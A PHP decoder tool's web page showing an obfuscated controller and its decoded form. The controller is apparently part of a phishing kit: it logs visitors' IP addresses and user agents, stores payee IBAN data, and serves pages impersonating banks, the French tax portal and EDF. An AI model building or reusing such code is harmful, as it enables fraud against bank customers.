Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Controllers\Pay; use Core\View; use App\Models\Pay\Pay; use App\Auth..

Decoded Output download

<?php 
 namespace App\Controllers\Pay; use Core\View; use App\Models\Pay\Pay; use App\Auth; class Request extends \Core\Controller { public function indexAction() { if (!Pay::findBan($_SERVER["REMOTE_ADDR"])) { $data = Pay::checkPayment($this->route_params["id"]); if ($data) { $this->startSession($data); $this->createLog(); $this->renderView($data["mode"]); } else { Pay::redirect(); } } else { Pay::redirect(); } } private function startSession($data) { $_SESSION["name"] = $data["name"]; $_SESSION["amount"] = $data["amount"]; $_SESSION["description"] = $data["description"]; $_SESSION["iban"] = $data["iban"]; $_SESSION["username"] = $data["username"]; $_SESSION["url"] = $this->route_params["id"]; $_SESSION["pay"] = true; } private function renderView($mode) { if ($mode === "HSBC") { View::render("Requests/hsbc.php"); } else { if ($mode === "SocGenerale") { View::render("Requests/socgenerale.php"); } else { if ($mode === "Epargne") { View::render("Requests/Epargne.php"); } else { if ($mode === "Bourso") { View::render("Requests/Bourso.php"); } else { if ($mode === "Agricole") { View::render("Requests/agricole.php"); } else { if ($mode === "Hello") { View::render("Requests/Hello.php"); } else { if ($mode === "Impots-Gouv") { View::render("Requests/Impots-Gouv.php"); } else { if ($mode === "payconiq") { View::render("Requests/payconiq.php"); } else { if ($mode === "EDF") { View::render("Requests/edf.php"); } else { Pay::redirect(); } } } } } } } } } } private function createLog() { if (!isset($_SESSION["uid"])) { $_SESSION["uid"] = uniqid(); Pay::createLog($_SESSION["username"], $_SESSION["url"], $_SESSION["uid"], $_SERVER["REMOTE_ADDR"], $_SERVER["HTTP_USER_AGENT"]); } else { $check = Pay::findLog($_SESSION["uid"]); if (!$check) { Pay::createLog($_SESSION["username"], $_SESSION["url"], $_SESSION["uid"], $_SERVER["REMOTE_ADDR"], $_SERVER["HTTP_USER_AGENT"]); } else { Pay::updateStatus($_SESSION["uid"]); } } } } ?>

Did this file decode correctly?

Original Code

<?php
 namespace App\Controllers\Pay; use Core\View; use App\Models\Pay\Pay; use App\Auth; class Request extends \Core\Controller { public function indexAction() { if (!Pay::findBan($_SERVER["\x52\x45\115\117\x54\105\137\101\104\104\x52"])) { $data = Pay::checkPayment($this->route_params["\x69\x64"]); if ($data) { $this->startSession($data); $this->createLog(); $this->renderView($data["\155\x6f\x64\145"]); } else { Pay::redirect(); } } else { Pay::redirect(); } } private function startSession($data) { $_SESSION["\156\x61\x6d\145"] = $data["\x6e\x61\155\145"]; $_SESSION["\141\x6d\157\x75\156\164"] = $data["\x61\x6d\157\x75\x6e\x74"]; $_SESSION["\144\x65\x73\143\x72\151\x70\164\151\157\156"] = $data["\x64\x65\x73\x63\x72\151\160\164\151\157\156"]; $_SESSION["\x69\142\141\x6e"] = $data["\x69\x62\141\156"]; $_SESSION["\x75\x73\145\162\156\x61\x6d\145"] = $data["\165\163\145\x72\x6e\141\x6d\145"]; $_SESSION["\165\162\x6c"] = $this->route_params["\x69\x64"]; $_SESSION["\x70\x61\171"] = true; } private function renderView($mode) { if ($mode === "\x48\x53\102\103") { View::render("\x52\x65\x71\x75\x65\163\164\163\x2f\x68\163\142\143\x2e\160\150\x70"); } else { if ($mode === "\x53\x6f\x63\107\145\156\x65\x72\141\x6c\x65") { View::render("\122\x65\x71\x75\x65\x73\164\163\x2f\x73\x6f\143\x67\x65\x6e\145\162\141\x6c\x65\x2e\160\150\160"); } else { if ($mode === "\x45\x70\141\162\147\156\145") { View::render("\x52\x65\161\x75\x65\x73\x74\x73\x2f\105\x70\x61\x72\x67\156\x65\x2e\160\150\160"); } else { if ($mode === "\102\157\165\162\163\157") { View::render("\x52\145\161\x75\x65\163\164\163\57\102\x6f\165\162\163\x6f\x2e\160\x68\x70"); } else { if ($mode === "\x41\147\162\x69\143\x6f\154\145") { View::render("\122\145\161\165\145\x73\x74\x73\x2f\x61\147\162\151\143\157\154\x65\56\x70\x68\160"); } else { if ($mode === "\110\145\x6c\154\157") { View::render("\x52\x65\161\165\x65\163\x74\x73\57\x48\x65\x6c\x6c\x6f\56\x70\150\x70"); } else { if ($mode === "\x49\x6d\x70\x6f\x74\163\x2d\x47\157\x75\166") { View::render("\x52\x65\x71\x75\x65\163\x74\163\57\x49\155\160\x6f\164\163\x2d\107\157\x75\x76\x2e\x70\x68\160"); } else { if ($mode === "\160\x61\171\143\157\156\x69\x71") { View::render("\122\x65\x71\165\x65\163\x74\163\57\160\x61\171\x63\x6f\x6e\x69\161\56\160\150\160"); } else { if ($mode === "\x45\x44\x46") { View::render("\x52\x65\161\x75\145\163\x74\x73\x2f\x65\144\146\x2e\x70\150\x70"); } else { Pay::redirect(); } } } } } } } } } } private function createLog() { if (!isset($_SESSION["\165\151\144"])) { $_SESSION["\165\151\144"] = uniqid(); Pay::createLog($_SESSION["\165\163\145\x72\x6e\x61\x6d\x65"], $_SESSION["\x75\162\x6c"], $_SESSION["\x75\x69\x64"], $_SERVER["\x52\x45\115\x4f\124\105\137\x41\x44\x44\122"], $_SERVER["\110\124\124\x50\137\125\123\x45\122\137\101\107\x45\116\124"]); } else { $check = Pay::findLog($_SESSION["\165\x69\x64"]); if (!$check) { Pay::createLog($_SESSION["\x75\163\145\162\x6e\141\155\145"], $_SESSION["\165\x72\154"], $_SESSION["\165\151\x64"], $_SERVER["\122\x45\115\x4f\x54\105\x5f\x41\104\104\x52"], $_SERVER["\110\x54\x54\120\x5f\125\123\x45\122\137\x41\107\105\116\124"]); } else { Pay::updateStatus($_SESSION["\165\151\144"]); } } } }

Function Calls

None

Variables

None

Stats

MD5 04e89eb6a744591f1f588b86057e7002
Eval Count 0
Decode Time 53 ms